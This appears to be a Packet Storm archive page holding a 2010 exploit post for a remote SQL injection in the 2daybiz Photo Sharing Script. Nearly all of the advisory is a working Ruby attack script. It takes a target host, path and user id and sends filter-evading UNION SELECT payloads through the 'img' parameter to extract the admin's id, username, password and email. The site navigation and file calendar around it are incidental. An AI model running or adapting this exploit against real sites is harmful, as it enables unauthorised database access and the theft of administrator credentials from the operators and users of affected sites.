what you don't know can hurt you
Home Files News &[SERVICES_TAB]About Contact Add New

2daybiz Photo Sharing Script SQL Injection

2daybiz Photo Sharing Script SQL Injection
Posted Jun 29, 2010
Authored by Easy Laster

2daybiz Photo Sharing script suffers from a remote SQL injection vulnerability.

tags | exploit, remote, sql injection
SHA-256 | b5f0a801c371c66c4b533d2eeffa43c19121e37421de8f956ec36a9cdd60bcc2

2daybiz Photo Sharing Script SQL Injection

Change Mirror Download
The Demo for the exploit-db Admin : https://www.2daybiz.com/products/efota/


----------------------------Information------------------------------------------------
+Name : 2daybiz Photo Sharing Script <= SQL Injection Vulnerability Exploit
+Autor : Easy Laster
+ICQ : 11-051-551
+Date : 27.06.2010
+Script : 2daybiz Photo Sharing Script
+Price : $60
+Language :PHP
+Info : https://www.2daybiz.com/photosharing_script.html
+Discovered by Easy Laster 4004-security-project.com
+Security Group Undergroundagents and 4004-Security-Project 4004-security-project.com
+And all Friends of Cyberlive : R!p,Eddy14,Silent Vapor,Nolok,
Kiba,-tmh-,Dr.ChAoS,HANN!BAL,Kabel,-=Player=-,Lidloses_Auge,
N00bor,Ic3Drag0n,novaca!ne,n3w7u,Maverick010101,s0red,c1ox.

---------------------------------------------------------------------------------------

___ ___ ___ ___ _ _ _____ _ _
| | | | | | |___ ___ ___ ___ _ _ ___|_| |_ _ _ ___| _ |___ ___ |_|___ ___| |_
|_ | | | | |_ |___|_ -| -_| _| | | _| | _| | |___| __| _| . | | | -_| _| _|
|_|___|___| |_| |___|___|___|___|_| |_|_| |_ | |__| |_| |___|_| |___|___|_|
|___| |___|


----------------------------------------------------------------------------------------
+Vulnerability : www.site.com/script/image_display_details1.php?img=
----------------------------------------------------------------------------------------
+exploit in ruby

#!/usr/bin/ruby
#4004-security-project.com
#Discovered and vulnerability by Easy Laster
require 'net/http'
print "
#########################################################
# 4004-Security-Project.com #
#########################################################
# 2daybiz Photo Sharing Script SQL Injection #
# Vulnerability Exploit #
# Using Host+Path+userid #
# demo.com /script/ 1 #
# Easy Laster #
#########################################################
"
block = "#########################################################"
print ""+ block +""
print "\nEnter host name (site.com)->"
host=gets.chomp
print ""+ block +""
print "\nEnter script path (/script/)->"
path=gets.chomp
print ""+ block +""
print "\nEnter userid (userid)->"
userid=gets.chomp
print ""+ block +""
begin
dir = "image_display_details1.php?img=%27/**/UnIoN+/**/SeLeCT+1,2,3,GrOuP_CoNcAt%280x23,0x23,0x23,0x23,0x23,id,0x23,0x23,0x23,0x23,0x23%29,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25/**/from/**/admin/**/WHERE/**/id="+ userid +"/**/--+"
http = Net::HTTP.new(host, 80)
resp= http.get(path+dir)
print "\nThe ID is -> "+(/#####(.+)#####/).match(resp.body)[1]
dir = "image_display_details1.php?img=%27/**/UnIoN+/**/SeLeCT+1,2,3,GrOuP_CoNcAt%280x23,0x23,0x23,0x23,0x23,username,0x23,0x23,0x23,0x23,0x23%29,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25/**/from/**/admin/**/WHERE/**/id="+ userid +"/**/--+"
http = Net::HTTP.new(host, 80)
resp= http.get(path+dir)
print "\nThe username is -> "+(/#####(.+)#####/).match(resp.body)[1]
dir = "image_display_details1.php?img=%27/**/UnIoN+/**/SeLeCT+1,2,3,GrOuP_CoNcAt%280x23,0x23,0x23,0x23,0x23,password,0x23,0x23,0x23,0x23,0x23%29,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25/**/from/**/admin/**/WHERE/**/id="+ userid +"/**/--+"
http = Net::HTTP.new(host, 80)
resp= http.get(path+dir)
print "\nThe password is -> "+(/#####(.+)#####/).match(resp.body)[1]
dir = "image_display_details1.php?img=%27/**/UnIoN+/**/SeLeCT+1,2,3,GrOuP_CoNcAt%280x23,0x23,0x23,0x23,0x23,email,0x23,0x23,0x23,0x23,0x23%29,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25/**/from/**/admin/**/WHERE/**/id="+ userid +"/**/--+"
http = Net::HTTP.new(host, 80)
resp= http.get(path+dir)
print "\nThe Email is -> "+(/#####(.+)#####/).match(resp.body)[1]
rescue
print "\nExploit failed"
end

Login or Register to add favorites

File Archive:

November 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Nov 1st
    30 Files
  • 2
    Nov 2nd
    0 Files
  • 3
    Nov 3rd
    0 Files
  • 4
    Nov 4th
    12 Files
  • 5
    Nov 5th
    44 Files
  • 6
    Nov 6th
    18 Files
  • 7
    Nov 7th
    9 Files
  • 8
    Nov 8th
    8 Files
  • 9
    Nov 9th
    3 Files
  • 10
    Nov 10th
    0 Files
  • 11
    Nov 11th
    14 Files
  • 12
    Nov 12th
    20 Files
  • 13
    Nov 13th
    63 Files
  • 14
    Nov 14th
    18 Files
  • 15
    Nov 15th
    8 Files
  • 16
    Nov 16th
    0 Files
  • 17
    Nov 17th
    0 Files
  • 18
    Nov 18th
    18 Files
  • 19
    Nov 19th
    7 Files
  • 20
    Nov 20th
    13 Files
  • 21
    Nov 21st
    6 Files
  • 22
    Nov 22nd
    48 Files
  • 23
    Nov 23rd
    0 Files
  • 24
    Nov 24th
    0 Files
  • 25
    Nov 25th
    60 Files
  • 26
    Nov 26th
    0 Files
  • 27
    Nov 27th
    0 Files
  • 28
    Nov 28th
    0 Files
  • 29
    Nov 29th
    0 Files
  • 30
    Nov 30th
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2024 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close